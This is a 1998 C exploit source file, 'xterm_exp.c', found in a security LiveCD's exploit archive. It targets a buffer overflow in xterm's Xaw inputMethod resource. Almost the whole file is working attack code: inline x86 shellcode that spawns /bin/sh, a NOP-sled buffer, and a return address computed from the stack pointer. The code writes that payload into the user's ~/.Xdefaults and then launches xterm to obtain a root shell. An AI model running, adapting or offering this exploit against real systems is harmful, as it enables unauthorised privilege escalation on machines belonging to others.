home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / xterm.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  114 lines

  1. /*
  2.  
  3.   xterm_exp.c : linux/x86 xterm.Xaw exploit
  4.   by alcuin - 5/4/98 -
  5.  
  6.   It works against both Xaw and neXtaw widgets
  7.  
  8.   NB: you have to cp ~/.Xdefaults.old ~/.Xdefaults to be able to
  9.   use xterm again.
  10.     
  11. */
  12.  
  13. #include <stdlib.h>
  14. #include <stdio.h>
  15. #include <ctype.h>
  16.  
  17.  
  18. unsigned int getsp()
  19. {
  20.   asm("mov %esp,%eax");
  21. }
  22.  
  23. inline rootshell()
  24. {
  25.   __asm__(
  26.     "movb $0x56, %al\n\t"
  27.     "l1:cmpb $0x12, %al\n\t"
  28.     "je l2\n\t"
  29.     "movb $0x12,%al\n\t"
  30.     "call l1\n\t"
  31.     "l2:pop %esi\n\t"
  32.     "xorl %eax,%eax\n\t"
  33.     "movb $0x25, %al\n\t"
  34.     "addl %eax,%esi\n\t"
  35.     "movl %esi,%ebx\n\t"
  36.     "movl %esi,%edi\n\t"
  37.     "movb $8,%al\n\t"
  38.     "addl %eax,%edi\n\t"
  39.     "movb $5,%al\n\t"
  40.     "addl %eax,%esi\n\t"
  41.     "movl %esi,(%edi)\n\t"
  42.     "movl %edi,%ecx\n\t"
  43.     "incl %edi\n\t"
  44.     "incl %edi\n\t"
  45.     "incl %edi\n\t"
  46.     "incl %edi\n\t"
  47.     "xorb %al,%al\n\t"
  48.     "movl %eax,(%edi)\n\t"
  49.     "movl %edi,%edx\n\t"
  50.     "movb $0xb,%al\n\t"
  51.     "int $0x80\n\t"
  52.     ".string \"/bin/sh\"\n"
  53.   );
  54. }
  55.  
  56.  
  57. #define CONFFILE ".Xdefaults"
  58. #define OLDFILE ".Xdefaults.old"
  59. #define NEWFILE ".Xdefaults.new"
  60.  
  61. main (int argc, char **argv)
  62. {
  63.  
  64.   char *home;
  65.   FILE *f_in, *f_out;
  66.   char buf[16384];
  67.   char shellbuf[16384];
  68.   char *s;
  69.   int i;
  70.   unsigned int sp=getsp();
  71.  
  72.   if (home = getenv("HOME")) chdir(home);
  73.  
  74.   if (!(f_out = fopen(NEWFILE, "w")))
  75.     {
  76.       perror("fopen");
  77.       exit(1);
  78.     }
  79.  
  80.   if (f_in = fopen(CONFFILE, "r"))
  81.     {
  82.       fseek(f_in,0,SEEK_SET);
  83.       while (!feof(f_in))
  84.         {
  85.           fgets(buf,16384,f_in);
  86.           for (s=buf;isblank(*s);s++);
  87.           if (strncmp(s,"xterm*inputMethod",17)<0)
  88.             fputs(buf,f_out);
  89.         }
  90.       fclose(f_in);
  91.     }
  92.  
  93.   /* fill the buffer with nops */
  94.   memset(shellbuf, 0x90, sizeof(shellbuf));
  95.   shellbuf[sizeof(shellbuf)-1] = 0;
  96.  
  97.   /* write the return adress */
  98.   s = shellbuf+2052;
  99.   *(int *)s=sp+0x69F5;
  100.  
  101.   /* write the root shell code */
  102.   s = shellbuf+2800;
  103.   strcpy(s,(char*)rootshell);
  104.  
  105.   fputs("xterm*inputMethod:",f_out);
  106.   fputs(shellbuf, f_out);
  107.   fclose(f_out);
  108.  
  109.   system("/bin/cp "CONFFILE" "OLDFILE);
  110.   system("/bin/mv -f "NEWFILE" "CONFFILE);
  111.  
  112.   execl("/usr/X11R6/bin/xterm","xterm",NULL);
  113. }
  114. /*                    www.hack.co.za              [2000]*/